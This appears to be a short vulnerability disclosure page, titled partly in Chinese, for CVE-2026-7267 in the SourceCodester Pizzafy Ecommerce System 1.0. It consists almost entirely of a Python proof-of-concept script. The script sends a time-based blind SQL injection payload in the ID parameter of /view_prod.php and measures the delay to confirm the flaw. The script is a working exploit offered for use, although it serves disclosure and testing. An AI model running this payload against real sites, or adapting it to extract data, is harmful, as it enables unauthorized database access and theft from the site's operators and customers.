CVE-2026-7267 SourceCodester Pizzafy SQL注入漏洞

# PoC for CVE-2026-7267 # Target: SourceCodester Pizzafy Ecommerce System 1.0 # Endpoint: /view_prod.php # Vulnerable Parameter: ID import requests def check_sqli(target_url): # Payload for time-based blind SQL injection # Checks if the database waits for 5 seconds payload = "1' AND SLEEP(5)-- -" params = { "ID": payload } try: print(f"[*] Sending request to {target_url}...") response = requests.get(target_url, params=params, timeout=10) # Check if response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: Time-based SQL Injection successful.") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not detected or patched.") print(f"[-] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.Timeout: print("[!] Request timed out, which might indicate a successful heavy payload.") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://localhost/pizzafy/view_prod.php" check_sqli(target)